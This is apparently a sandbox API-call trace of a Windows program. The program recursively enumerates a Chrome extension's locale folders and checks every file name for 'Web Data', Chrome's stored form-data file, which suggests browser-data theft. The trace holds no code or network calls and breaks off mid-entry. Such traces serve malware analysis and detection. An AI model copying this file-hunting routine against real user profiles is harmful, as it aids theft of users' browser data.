lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0078.520] LocalFree (hMem=0x6523b0) returned 0x0 [0078.520] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.520] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl" [0078.520] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*" [0078.520] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.520] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.520] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.520] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.520] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.520] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.520] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.520] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.520] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.521] LocalFree (hMem=0x6525c0) returned 0x0 [0078.521] LocalFree (hMem=0x6524b8) returned 0x0 [0078.521] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.521] lstrcmpiA (lpString1=".", lpString2="pt_BR") returned -1 [0078.521] lstrcmpiA (lpString1="..", lpString2="pt_BR") returned -1 [0078.521] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.521] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.521] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.521] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_BR" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0078.521] LocalFree (hMem=0x6523b0) returned 0x0 [0078.521] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.521] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR" [0078.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*" [0078.521] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.521] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.521] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.521] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.521] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.521] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.521] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.521] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.521] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.521] LocalFree (hMem=0x6525c0) returned 0x0 [0078.521] LocalFree (hMem=0x6524b8) returned 0x0 [0078.521] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.521] lstrcmpiA (lpString1=".", lpString2="pt_PT") returned -1 [0078.521] lstrcmpiA (lpString1="..", lpString2="pt_PT") returned -1 [0078.521] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.521] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.521] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6524b8 [0078.521] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.521] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="pt_PT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0078.521] LocalFree (hMem=0x6523b0) returned 0x0 [0078.522] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6525c0 [0078.522] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT" [0078.522] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*" [0078.522] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.522] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.522] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.522] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.522] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.522] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.522] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.522] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.522] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.523] LocalFree (hMem=0x6525c0) returned 0x0 [0078.523] LocalFree (hMem=0x6524b8) returned 0x0 [0078.523] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.523] lstrcmpiA (lpString1=".", lpString2="ro") returned -1 [0078.523] lstrcmpiA (lpString1="..", lpString2="ro") returned -1 [0078.523] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.523] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.523] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.523] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.523] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.523] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0078.523] LocalFree (hMem=0x6523b0) returned 0x0 [0078.523] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.523] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro" [0078.523] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*" [0078.523] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.523] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.523] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.523] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.523] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.523] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.523] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.523] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.524] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.524] LocalFree (hMem=0x6525c0) returned 0x0 [0078.524] LocalFree (hMem=0x6524b8) returned 0x0 [0078.524] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.524] lstrcmpiA (lpString1=".", lpString2="ru") returned -1 [0078.524] lstrcmpiA (lpString1="..", lpString2="ru") returned -1 [0078.524] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.524] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.524] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.524] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.524] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.524] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="ru" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0078.524] LocalFree (hMem=0x6523b0) returned 0x0 [0078.524] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.524] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru" [0078.524] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*" [0078.524] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.*", lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0x642928 [0078.525] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0078.525] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.525] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0078.525] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0078.525] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 1 [0078.525] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0078.525] FindNextFileA (in: hFindFile=0x642928, lpFindFileData=0x12f36e | out: lpFindFileData=0x12f36e) returned 0 [0078.525] FindClose (in: hFindFile=0x642928 | out: hFindFile=0x642928) returned 1 [0078.525] LocalFree (hMem=0x6525c0) returned 0x0 [0078.525] LocalFree (hMem=0x6524b8) returned 0x0 [0078.525] FindNextFileA (in: hFindFile=0x6428e8, lpFindFileData=0x12f4da | out: lpFindFileData=0x12f4da) returned 1 [0078.525] lstrcmpiA (lpString1=".", lpString2="sk") returned -1 [0078.525] lstrcmpiA (lpString1="..", lpString2="sk") returned -1 [0078.525] LocalAlloc (uFlags=0x40, uBytes=0xfb) returned 0x6523b0 [0078.525] lstrcpyA (in: lpString1=0x6523b0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" [0078.525] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.525] LocalAlloc (uFlags=0x40, uBytes=0xfd) returned 0x6524b8 [0078.525] lstrcpyA (in: lpString1=0x6524b8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\" [0078.525] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\", lpString2="sk" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0078.525] LocalFree (hMem=0x6523b0) returned 0x0 [0078.525] LocalAlloc (uFlags=0x40, uBytes=0x101) returned 0x6525c0 [0078.525] lstrcpyA (in: lpString1=0x6525c0, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk" [0078.525] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.*" [0078.525] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\Google\\Chrome\\User 